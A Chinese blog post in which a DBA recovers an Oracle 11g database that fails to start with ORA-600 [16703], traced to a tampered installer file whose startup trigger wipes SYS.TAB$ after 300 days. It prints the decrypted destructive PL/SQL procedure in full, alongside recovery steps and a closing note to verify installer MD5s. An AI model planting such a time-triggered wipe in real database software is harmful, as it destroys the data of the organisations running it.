数据库软件被注入恶意代码，导致数据库无法启动，ORA-600_16703

        最近，同事负责的项目，机房断电，恢复后需要重新启动数据库，就找到了我，都是常规操作，登录数据库后直接startup命令，但是一个 ORA-600 错误映入眼帘，反复重试无法消除问题：

SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018
Copyright (c) 1982, 2013, Oracle. All rights reserved.
Connected to an idle instance.
SQL> startup mount;
ORACLE instance started.
Database mounted.
SQL> alter database open;
alter database open
*
ERROR at line 1:
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 1236
Session ID: 1 Serial number: 5

        上网查询相关报错信息后，确定是由于数据库安装软件被注入恶意程序，导致数据库无法启动。相关链接如下：

https://www.eygle.com/archives/2018/07/recover_ora-600_16703.html

被注入的文件是：

$ORACLE_HOME/rdbms/admin/prvtsupp.plb

这个程序包文件最后被注入了一个触发器，这个启动触发器，当数据库启动之后被触发执行：

这个触发器执行的是前面的加密代码，存储过程，这个存储过程解密后的代码如下，其代码逻辑就是，判断数据库的创建时间大于 300 天，然后创建一个备份表，备份 tab$ 内容之后，清空 TAB$ 表。

此后，数据库当然就无法启动了：

PROCEDURE DBMS_SUPPORT_DBMONITORP IS

DATE1 INT :=10;

BEGIN

SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;

IF (DATE1>=300) THEN

EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';

DELETE SYS.TAB$;

COMMIT;

EXECUTE IMMEDIATE 'alter system checkpoint';

END IF;

END;

如果在数据库中查到这个触发器，请立即删除。否则数据库重启后就会报错！

现在已经查到问题的原因，那么怎么解决呢？

1、根据网络上的解决办法，由于恶意软件在删除数据前，把数据写入了另外一张表中，可以通过bbed方式去恢复 sys.tab$ 表，数据库启动后，从备份的表中恢复 sys.tab$表数据，数据库恢复正常。

        思路是没有问题，但是之前都没有接触过bbed工具，只能照着文档里的步骤，先去做了，链接如下：

https://mp.weixin.qq.com/s?__biz=MjM5MDAxOTk2MQ==&mid=502797155&idx=1&sn=9f45528552d8951d7b1cf9beb2a2294b&chksm=3e478b7509300263287c126243ff8c86d3335fe934b7db2d387add87b49a667dc23048edab59#rd

按照文档思路，数据库启动时需要访问基表，这些对象在同版本同平台的数据库上的rdba地址一般都是一致的，所以找一台正常运行的同版本同平台的数据库(最好是比较干净的库，否则后续处理会比较麻烦)，使用bbed进行替换，用sql拼接出bbed的命令

SQL> SELECT DISTINCT'copy file 2 block '||block_id||' to file '||FILE_ID||' block '||BLOCK_ID FROM(
  2  SELECTa.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID)FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID
  3  FROMTAB$ a,obj$ b
  4  WHEREa.obj#=b.obj#
  5  ANDA.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99));

结果大概是下面这个样子

---------------------------------------------BBED工具---------------------------------------------------

这里再记录一下bbed工具的使用过程：

1.1 BBED 安装

OracleDatabase 11g中缺省的未提供BBED库文件，但是可以用10g的文件编译出来，需要先从10g中复制如下文件到相应目录，然后再执行上述连接命令，参考如下步骤：
（1）复制Oracle 10g文件
Copy ORA10gHOME/rdbms/lib/ssbbded.otoORA10gHOME/rdbms/lib/ssbbded.otoORA11g_HOME/rdbms/lib
Copy ORA10gHOME/rdbms/lib/sbbdpt.otoORA10gHOME/rdbms/lib/sbbdpt.otoORA11g_HOME/rdbms/lib

Copy ORA10gHOME/rdbms/mesg/bbedus.msbtoORA10gHOME/rdbms/mesg/bbedus.msbtoORA11g_HOME/rdbms/mesg
Copy ORA10gHOME/rdbms/mesg/bbedus.msgtoORA10gHOME/rdbms/mesg/bbedus.msgtoORA11g_HOME/rdbms/mesg
Copy ORA10gHOME/rdbms/mesg/bbedar.msbtoORA10gHOME/rdbms/mesg/bbedar.msbtoORA11g_HOME/rdbms/mesg

（2）编译
make -f ORA11gHOME/rdbms/lib/insrdbms.mkBBED=ORA11gHOME/rdbms/lib/insrdbms.mkBBED=ORACLE_HOME/bin/bbed $ORACLE_HOME/bin/bbed

1.2 使用BBED
BBED是Oracle 内部使用的命令，所以Oracle 不提供技术支持。 为了安全，BBED设置了口令保护，默认密码为blockedit。

[oracle@db2 bin]$ bbed
Password:
BBED-00113: Invalid password. Please rerunutility with the correct password.

[oracle@db2 bin]$ bbed
Password:

BBED: Release 2.0.0.0.0 - LimitedProduction on Thu Aug 11 18:51:47 2011

Copyright (c) 1982, 2005, Oracle. All rights reserved.

*** !!! For Oracle Internal Useonly !!! *****

BBED>

  一般使用bbed，都是将一些配置信息写入到一个参数文本里，在调用bbed时，指定该参数文件。如：
  $bbedparfile=bbed.par

参数文件 示例如下：需要有file_id和file_name。

由于只是设计基表，都在system表空间，所以我们只需要把正常数据库的system数据文件拷贝一份到无法启动的数据库服务器上，然后把信息填到参数文件当中，参考如下：

依次执行copy命令

------------------------------------------------BBED工具-------------------------------------------------

使用bbed修改数据块后，

尝试open数据库：SQL> conn / as sysdba

Connected to anidle instance.

SQL> startup

ORACLE instancestarted.

Total System GlobalArea 1269366784 bytes

Fixed Size                  2252864 bytes

Variable Size            1191186368 bytes

DatabaseBuffers           67108864 bytes

Redo Buffers                8818688 bytes

Database mounted.

Database opened.

但此时查看alert日志，会发现有报错，从alert日志可以看到此时数据库open伴随着ora-7445，并且5分钟后就会crash掉，所以要抓紧着5分钟的操作时间。

后面的步骤比较复杂，由于对bbed工具不熟悉，所以没有继续进行下去，感兴趣的同学可以再研究一下。

下面我使用备份来使数据库恢复正常

        第一次使用备份恢复遇到一个问题，由于恶意代码是在oracle软件安装的时候就已经植入了，所以在备份恢复之后，执行startup后，由于已经超过300天，这个触发器就会被触发，$tab基表就会被清空。使用备份恢复后，查询数据表没有问题，但是无法使用exp工具导出数据，会有报错，并且数据库很大程度上是依赖 $tab基表的，所以到这里数据库不算是正常。

        我根据这个恶意脚本的原理，它是通过sysdate-createdate去判断数据库是否运行超过300天，那么我们能否通过修改数据库服务器的操作系统时间，让它与createdate数据小于300天，来正常启动数据库呢。

        通过现场操作，这个方法是可以的

1、先把操作系统时间 调整到300天以内，可以正常startup数据库；

2、然后 删除相关的触发器和存储过程；

3、正常关闭数据库shutdown immediate;

4、 把操作系统时间 调整到现在时间；

5、startup数据库；

6、检查数据，还有数据导出，后台日志，一切正常；

-----------------------------------------------------总结----------------------------------------------

通过本次事件，了解到了之前从来没接触过的bbed工具，后面有时间要好好研究一下这个工具，感觉很强大。还有就是在部署数据库软件的时候，一定要使用官方的安装文件，一定要校验md5的值。

附：

1、oracle数据库加解密工具（可以解密PLB格式的文件内容）

2、BBED-10G-源码（安装编译BBED时需要）

3、ORACLE常用安装文件的MD5值

p13390677_112040_Linux-x86-64_3of7.zip 大小:1.12GB md5:04cef37991db18f8190f7d4a19b26912

p13390677_112040_Linux-x86-64_2of7.zip 大小:1.07GB md5:67ba1e68a4f581b305885114768443d3

p13390677_112040_Linux-x86-64_1of7.zip 大小:1.3GB md5:1616f61789891a56eafd40de79f58f28

linux可通过md5sum命令查看md5值

下载地址： https://pan.baidu.com/s/1GwrETqSzvCgCJEgJe8a3iA 

提取码:1lyq